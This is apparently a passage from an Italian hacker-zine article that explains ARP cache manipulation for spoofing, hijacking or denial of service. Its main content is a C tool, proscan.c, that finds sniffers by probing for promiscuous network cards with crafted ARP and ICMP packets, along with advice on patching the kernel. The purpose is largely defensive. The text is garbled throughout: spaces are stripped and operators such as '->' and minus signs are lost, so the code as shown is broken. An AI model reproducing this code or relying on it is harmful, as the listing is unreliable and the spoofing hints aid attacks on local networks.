dellacacheARP.Esisteanchelacosiddettagratuitous
ARPovverouna
richiestaARPfattaase'stessi.Questodaunlatoserve
avederesenonci
sianogia'altrihostconlostessoIP,masoprattuttoa
controllareeventuali
cambidiindirizzo.Quellochenontuttisannoe'che
essendoanchequesta
richiestainBROADCAST,tuttelemacchinedellaLAN
terrannocontodelnuovo
indirizzoethernet,facendocosi'l'updatedelleloro
cache.Nontuttigli
stackreagisconopero'allostessomodo.
Unmodopercostringerelinuxadinserirenellacache
un'entrye'quello
dieseguireunarichiestaARPdapartedell'hostche
intendiamospoofare,
hijackareoDoSare(poveroitaliano:)versol'hostdi
cuivogliamo
corromperelacache,usandoilNOSTROindirizzohardware.
Esistepoil'unsolicitedARPincuirispondiamosenza
avererichiesta.In

questocasodidefault,linuxNONaccettareply.
MANIPOLAZIONI ARP
alla ricerca di sniffer nella LAN
Orapero'vimostrounaspettointeressantedalpuntodi
vistadella
sicurezza.Tuttisannoqualieffettipossanoaveregli
snifferinunarete
locale,aziendale,universitaria...qualunqueretecon
qualchedecina
dimacchineedutentivogliosidiconnettersiadestrae
amanca.
Collezionarecentinaiadicoppielogin/passwordper
centinaiadisitie'
unaimpresadapocoperunosnifferbenposizionato.E
tuttigliadmin
sannoquantosianoiosocercaremacchinapermacchinagli
indizidiuno
snifferall'opera.
Spessol'unicotrattosalientee'quellodell'attivazione
dellamodalita'
promiscuadelleinterfaccedirete.Questapermettedi
agireevagliare
pacchettinonspecificatamenteindirizzatiallamacchina
sucuilosniffer
gira,mapotenzialmenteTUTTIquellidipassaggionella
LAN.Questo
permettedicontrollareleconnessionidituttalarete
localeusandoun
soloprocessosudiunasolamacchina.
Ebbenericordiamoadessocomevenganoprocessatele
richiesteARP.Il
livellohardwarecontrollaipacchetticheabbianocome
destinazione
hardwarel'indirizzoa48bitdibroadcastomulticast,e
necontrollano
gliIPcontenutipersaperese,edachi,rispondere.
Tuttelemacchine
SONOcostrettearispondereadunarichiestaARP,ameno
cheilkernelnon
siastatomodificatoononsiaall'operanellaLANun

proxyARPche
gestisceilflussoARPinmanieracentralizzata.
Aggiungiamoaquestocheunosnifferpongauna
interfacciainmodalita'
promiscua,consentendoalkerneldiriceveretuttii
pacchettipresenti
nellaLAN.PossiamoipotizzarechelostackARPdel
kernel,accettando
laschedapacchettinonindirizzatiadessa,possa
processarerichiesteARP
chepurNONusinodestinazioniethernetbroadcast.
Seinquestocasoottenessimorispostaavremmoconferma
dellapromiscuita'
dellainterfacciadiretediunamacchina,buonindicedi
unosniffer
all'opera;questocipermetterebbedirestringerela
ricercanellenostre
retiecipermetterebbe,comeadmin,digestireil
controlloinmaniera
automatizzataanchemediantecrond,adesempio.
Questoconcetto,uscitosucomp.security.unixe'stato
implementatoinun
tooldegliApostolscheprendeilnomediNEPED.Quello
chehofattoe'
statodiricodarloediAVERVIAGGIUNTOunanuova
opzione.Primadi
spiegarequaleodimostrareilcodice,unpreambolo.
IlsistemadellequeryARPfunzionasuikernellinuxfino
a2.0.35...
maquasituttelemacchineinstallatedifrescoadesso
montanoilkernel
2.0.36chehaintrodottodellemodificheperquanto
riguardalagestione
delsottosistemaARP,rendendoINUTILIZZABILEneped.cin
quantoi
risultatinonsonopiu'sicuri.Vediamoperche'.
/usr/src/linux/net/ethernet/eth.c@204.299(riga204di
299)

elseif(dev>flags&(IFF_PROMISC))
{
if(memcmp(eth>h_dest,dev>dev_addr,
ETH_ALEN))
skb>pkt_type=PACKET_OTHERHOST;
}
quiselaflagIFF_PROMISCe'statasettataper
l'interfacciadirete,allora
iltipodipacchettovieneconsideratononindirizzato
allanostra
interfaccia,dopoaverovviamentecontrollatoche
l'indirizzononcorrisponda
enonsiaBROADCAST(190.299).
/usr/src/linux/net/ipv4/arp.c@1774.2509
if(skb>pkt_type==PACKET_OTHERHOST)
{
kfree_skb(skb,FREE_READ);
return0;
}
quinotiamoperlaprimavoltanelkernel2.0.36chenel
casoiltipodi
pacchetto,specificatonelbufferskbsia
PACKET_OTHERHOST,allorail
buffervienescartatoenonavvieneprocessoARP.Quindi
ladestinazione
hardwaredeipacchettiARPdev'essereBROADCASTo
MULTICAST,oppuredeve
corrisponderealvalorelocale.Questoannullaogni
risultatodineped.c
qualoravengaeffettuatoloscansumacchinecon
2.0.36...enonpermette
neanchedimodificarel'indirizzoinBROADCASTinquanto
questonegherebbe
ladeduzionesullamodalita'promiscua.
Nonc'e'quindimododisaperesecisianosniffersu
macchine
con2.0.36????SI'CHEC'E':))))edoralovedremo.
Hocontrollatodentroaisorgentidelkerneldilinuxed

hovistochelo
stackrelativoaICMPpermetteungiochinosimilea
quellofattoconARP.
OvveropossiamocrearedellerichiesteditipoECHO
indirizzandolead
ethernetinesistenti.Ebbene,lemacchineconkernel
2.0.36,edinferiori
ovviamente,risponderannoallegramenteallaqueryconun
ECHO_REPLYsela
lorointerfacciae'inmodalita'promiscua.
Vediamoorailcodice.
snip
/
*********************************************************
***************
*proscan.cPROMISC Ethernet Scanner
*
*
*
*
QuestotoolpermettelascansionediunLAN
*
*
allaricercadiinterfaccediretein
modalita'*
*
promiscua.L'effettovieneottenutomediante
*
*
utilizzodiquery'anomale'.
*
*
Perlaspiegazionevederel'articolo"
TCP/IP *
*
HacksForPhunAndProfit"suBFi5.
*
*
BFie'disponibilealseguenteURL:
*
*
http://softpj98.bbk.org/bfi/
*
*
*
*OS:Linux(SOCK_PACKET)
*
*Credits:
Apostols,comp.security.unix,vari
sniffer:)*
*
*
*NO(C)1998 FuSyS TCP/IP Tools
Unlimited
*

*********************************************************
***************/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<ctype.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<sys/time.h>
#include<netinet/if_ether.h>
#include<net/if.h>
#include<ioctls.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<time.h>
#defineMAX_LEN
1500
#defineIF_LEN
14
#defineIP_ALEN
4
#defineIP_HLEN20
#defineICMP_HLEN8
structarp_hack{
unsignedcharh_dest[ETH_ALEN];
unsignedcharh_source[ETH_ALEN];
unsignedshorth_proto;
unsignedshortar_hrd;
unsignedshortar_pro;
unsignedcharar_hln;
unsignedcharar_pln;
unsignedshortar_op;
unsignedcharar_sha[ETH_ALEN];
unsignedcharar_sip[IP_ALEN];
unsignedcharar_tha[ETH_ALEN];
unsignedcharar_tip[IP_ALEN];
};
structpinghack{
unsignedcharh_dest[ETH_ALEN];
unsignedcharh_source[ETH_ALEN];
unsignedshorth_proto;

unsignedcharihl_ver;
unsignedchartos;
unsignedshorttot_len;
unsignedshortid;
unsignedshortfrag_off;
unsignedcharttl;
unsignedcharprotocol;
unsignedshortcheck;
unsignedlongsaddr;
unsignedlongdaddr;
unsignedchartype;
unsignedcharcode;
unsignedshortchecksum;
unsignedshorticmp_id;
unsignedshorticmp_seq;
};
unsignedcharmac[ETH_ALEN];
unsignedlongdip,sip,netmask,broadcast,dmp,saddr;
charpacket[MAX_LEN],*ptr;
voiduso(void){
fprintf(stderr,"Uso:proscan[a,p]
<interfaccia>\n");
exit(0);
}
char*ntoa(unsignedlongip){
staticcharbuff[18];
char*p;
p=(char*)&ip;
sprintf(buff,"%d.%d.%d.%d",
(p[0]&255),(p[1]&255),(p[2]&255),
(p[3]&255));
return(buff);
}
char*dumpHW(unsignedchar*hw_s){
staticcharbuffer[ETH_ALEN];
sprintf(buffer,"%02x:%02x:%02x:%02x:%02x:%02x",
hw_s[0],hw_s[1],hw_s[2],hw_s[3],hw_s[4],
hw_s[5]);
returnbuffer;
}

unsignedshortip_fast_csum(unsignedchar*iph,unsigned
intihl){
unsignedintsum;
__asm____volatile__("
movl(%1),%0
subl$4,%2
jbe2f
addl4(%1),%0
adcl8(%1),%0
adcl12(%1),%0
1:adcl16(%1),%0
lea4(%1),%1
decl%2
jne1b
adcl$0,%0
movl%0,%2
shrl$16,%0
addw%w2,%w0
adcl$0,%0
notl%0
2:
"
:"=r"(sum),"=r"(iph),"=r"(ihl)
:"1"(iph),"2"(ihl));
return(sum);
}
intmain(intargc,char**argv){
structarp_hack*hack_p;
structpinghack*ping;
structifreqifr;
structsockaddrsa;
intopt,sockfd,fd_flags,len,sa_len,pid,sent,
optA=0,optP=0;
if(geteuid()||getuid()){
fprintf(stderr,"Perutilizzareproscan
deviessereRoot\n",
argv[0]);
exit(0);
}

if(argc<3)uso();

while((opt=getopt(argc,argv,"ap"))!=EOF){
switch(opt)
{
case'a':
optA=1;
break;
case'p':
optP=1;
break;
default:
exit(1);
break;
}
}
if(optA&&optP){
fprintf(stderr,"\nNonpuoiusareaep
insieme!!!\n");
exit(1);
}
printf("\n\033[1;32m]PROmiscSCANne
r[\033[0m\n");
printf("\033[1;34mno(C)1999FuSySTCP/IPTools
Unlimited\033[0m\n");
if(optA)
if((sockfd=socket(AF_INET,SOCK_PACKET,
htons(ETH_P_ARP)))<0){
perror("SOCK_PACKET:problemidi
allocazione\n");
exit(0);
}
if(optP)
if((sockfd=socket(AF_INET,SOCK_PACKET,
htons(ETH_P_IP)))<0){
perror("SOCK_PACKET:problemidi
allocazione\n");
exit(0);
}


strcpy(ifr.ifr_name,argv[2]);

if(ioctl(sockfd,SIOCGIFHWADDR,&ifr)<0){

perror("Nonhotrovatol'indirizzohardware
locale!\n");

exit(1);

}
memcpy(mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
printf("\n\033[1;34mMACLocale:\033[1;32m
%s\033[0m\n",
dumpHW(mac));
if(ioctl(sockfd,SIOCGIFADDR,&ifr)<0){

perror("Nonhotrovatol'indirizzoIP
locale!\n");

exit(1);

}
memcpy((void*)&sip,(void*)&ifr.ifr_addr.sa_data
+2,IP_ALEN);
printf("\033[1;34mIPLocale:\033[1;32m
%s\033[0m\n",
ntoa(sip));
if(ioctl(sockfd,SIOCGIFNETMASK,&ifr)<0)
fprintf(stderr,"Nonhotrovatol'indirizzo
NETMASK!");

memcpy((void*)&netmask,(void
*)&ifr.ifr_netmask.sa_data+2,IP_ALEN);
printf("\033[1;34mNETMASK:\033[1;32m
%s\033[0m\n",
ntoa(netmask));
if(ioctl(sockfd,SIOCGIFBRDADDR,&ifr)<0)

fprintf(stderr,"Nonhotrovatol'indirizzo
BROADCAST!\n");

memcpy((void*)&broadcast,(void
*)&ifr.ifr_broadaddr.sa_data+2,IP_ALEN);
printf("\033[1;34mBROADCAST:\033[1;32m
%s\033[0m\n",
ntoa(broadcast));
if(optA)
printf("\033[1;34mTECNICA:\
033[1;32mARPOP_REQUEST\033[0m\n");
if(optP)

printf("\033[1;34mTECNICA:\
033[1;32mICMP_ECHO\033[0m\n");
fcntl(sockfd,F_GETFL);

fcntl(sockfd,F_SETFL,fd_flags|O_NONBLOCK);
printf("\n\033[1;34m.oOInizioScansione
Oo.\033[0m\n\n");
if(optA)
for(dip=(ntohl(sip)&ntohl(netmask))
+1;dip<ntohl(broadcast);dip++){
if(htonl(dip)==sip){
dip++;
}
memset(&packet,0,MAX_LEN);
hack_p=(structarp_hack*)packet;
memcpy(hack_p>h_dest,"\0\1\0\1\0\1",
ETH_ALEN);
memcpy(hack_p>h_source,mac,ETH_ALEN);
hack_p>h_proto=htons(ETH_P_ARP);
hack_p>ar_hrd=htons(ARPHRD_ETHER);
hack_p>ar_pro=htons(ETH_P_IP);
hack_p>ar_hln=6;
hack_p>ar_pln=4;
hack_p>ar_op=htons(ARPOP_REQUEST);
memcpy(hack_p>ar_sha,mac,ETH_ALEN);
memcpy(hack_p>ar_sip,&sip,IP_ALEN);
memcpy(hack_p>ar_tha,"\0\0\0\0\0\0",
ETH_ALEN);
dmp=htonl(dip);
memcpy(hack_p>ar_tip,&dmp,IP_ALEN);

strcpy(sa.sa_data,argv[2]);
sa.sa_family=AF_UNIX;

if(sendto(sockfd,packet,sizeof(struct
arp_hack),0,
&sa,sizeof(sa))<0)
fprintf(stderr,"erroresendto\n");

usleep(50);
memset(&packet,0,MAX_LEN);
hack_p=(structarp_hack*)packet;


len=recvfrom(sockfd,packet,MAX_LEN,0,
&sa,&sa_len);

if(len<=IF_LEN)continue;

memcpy(&dmp,hack_p>ar_tip,IP_ALEN);
memcpy(&saddr,hack_p>ar_sip,IP_ALEN);

if(ntohs(hack_p>ar_op)==ARPOP_REPLY

&&dmp==sip&&(dipntohl(saddr)>=0
)

&&(dipntohl(saddr)<=2)){

printf("\033[1;32mIP%s,MAC%s\
033[5;32mModalita'Promiscua!\033[0m\n",
ntoa(saddr),dumpHW(hack_p>ar_sha));
}
}
if(optP)
for(dip=(ntohl(sip)&ntohl(netmask))
+1;dip<ntohl(broadcast);dip++){
if(htonl(dip)==sip){
dip++;
}
sa_len=sizeof(structsockaddr);
memset(&sa,0,sa_len);
sa.sa_family=AF_UNIX;
strcpy(sa.sa_data,argv[2]);

memset(&packet,0,MAX_LEN);
ping=(structpinghack*)packet;
ptr=packet;

memcpy(ping>h_dest,"\0\1\0\1\0\1",ETH_ALEN);
memcpy(ping>h_source,mac,ETH_ALEN);
ping>h_proto=htons(ETH_P_IP);
ping>ihl_ver=0x45;
ping>tos=0x00;
ping>tot_len=htons(IP_HLEN+ICMP_HLEN);
ping>id=0x0000;
ping>frag_off=0x0000;
ping>ttl=0xFF;
ping>protocol=IPPROTO_ICMP;
ptr+=26;*((u_long*)ptr)=sip;

ptr+=4;*((u_long*)ptr)=htonl(dip);
ping>check=0;
ping>check=ip_fast_csum((unsignedchar
*)
ping+ETH_HLEN,20);
ptr+=4;*((u_char*)ptr)=8;
ptr+=1;*((u_char*)ptr)=0;
ptr+=3;*((u_short*)ptr)=pid;
ptr+=2;*((u_short*)ptr)=0xF001;
ping>checksum=0;
ping>checksum=ip_fast_csum((unsigned
char*)
ping+(ETH_HLEN+IP_HLEN),8);
if((sent=sendto(sockfd,&packet,
ETH_HLEN+IP_HLEN+ICMP_HLEN,0,
&sa,sa_len))<0){
fprintf(stderr,"Errore
sendto\n");
return(1);
}
usleep(50);
memset(&packet,0,MAX_LEN);
ptr=packet;
len=recvfrom(sockfd,packet,
ETH_HLEN+IP_HLEN+ICMP_HLEN,0,
&sa,&sa_len);
if(len<=ETH_HLEN)continue;
ptr+=34;
if(*((u_char*)ptr)==0){
ptr+=6;
if(*((u_short*)ptr)==0xF001){
ptr=14;
if((dipntohl(*((u_long*)ptr))
>=0)&&
(dipntohl(*((u_long*)ptr))
<=2)){
printf("\033[1;32mIP%s
<ECHOREPLY>\033[5;32mModalita'Promiscua!\033[0m\n",
ntoa(*((u_long*)ptr)));
}
}

}
}

printf("\n\033[1;34m.oOFineScansione
Oo.\033[0m\n\n");
exit(0);
}
snip
Semplicementeallalineadicomandospecificateconala
queryditipo
ARPOP_REQUESTeconplaqueryditipoICMP_ECHO.Come
secondoargomento
inseriteilnomedellavostrainterfaccia,adesempio
eth0,inmodocheil
codicepossatrovareivalorinecessariadidentificare
lavostraLAN.
Nelcodicee'benmostratoilconcettodellacreazionedi
pacchetti
medianteSOCK_PACKET,chesianoIPomeno(ARP).
Ricordatecheognicampo
degliheaderdev'essereonoratoinquantoilkernelNON
FARA'proprio
nullaperaiutarcinelcalcolodeichecksumonelbyte
orderdeidati.
Putroppohonotatoorora(qualchegiornodopo)chenel
nuovokernel2.2.1
esisteuncontrollosimileaquellodi2.0.36ancheper
quantoriguarda
ICMP:
/usr/src/linux/net/ipv4/icmp.h@515.1128
if(skb_in>pkt_type!=PACKET_HOST)
return;
hmmm.Sebbenenoncontrollisel'interfacciafosse
promiscua
(PACKET_OTHERHOSTdaeth.c)nonrispondenelcaso
l'indirizzoethernet
nonsiaesatto.
Almomentononsonomolteleinstallazioniconkernel

2.2.xmanelcasone
avestenellavostraLANevolestecontrollareanche
quellidovreste
ricompilareilkernelmodificandoasceltaarp.coicmp.c
(oentrambi)in
modocherispondanoaqueryanomalecomequelledi
proscan.c
Questonondara'problemiparticolariamenocheanche
gliattaccantiche
hannoinseritolosniffersappianocomee'stato
modificatoilkerneled
inquelcasosarebberosolopossibilibanaliDoS,ma
riconducibiliadun
usodiping(8)adesempio,ilchenonsarebbevantaggioso
neancheperuno
snifferacacciasullaLAN.
Permodificarearp.cnei2.2.x:
/usr/src/linux/net/ipv4/arp.c@545.1138
if(in_dev==NULL||
arp>ar_hln!=dev>addr_len||
dev>flags&IFF_NOARP||
skb>pkt_type==PACKET_OTHERHOST||
skb>pkt_type==PACKET_LOOPBACK||
arp>ar_pln!=4)
gotoout;
eliminateilcontrollo(ocommentatelo)su
PACKET_OTHERHOST,mentrein
icmp.c(comevistoprima)aggiungeteuncontrollo
condizionaleperquesto
parametro.Aquelpuntoproscansara'ancoraingradodi
rilevare
interfaccepromiscuenellevostrereti,aiutandovinella
gestionedella
sicurezza.
FuSyS
P.S.
perchiavessedomandepuo'mandaremailalla
redazionediBFi,

sicurochemiverrannoforwardate:)ecerchero'di
rispondervi.
P.P.S.
ormaiprontalabetadiTH0Tingradodifare
quantoteorizzato
neimieiarticolisuTCP/IPedancheoltre:)Spero
dipotervi
dareprestounURLperscreenshotsesorgenti.Si',
perUN!X:)

[previous][index][
next]
============================
===========
=========================================================
=====================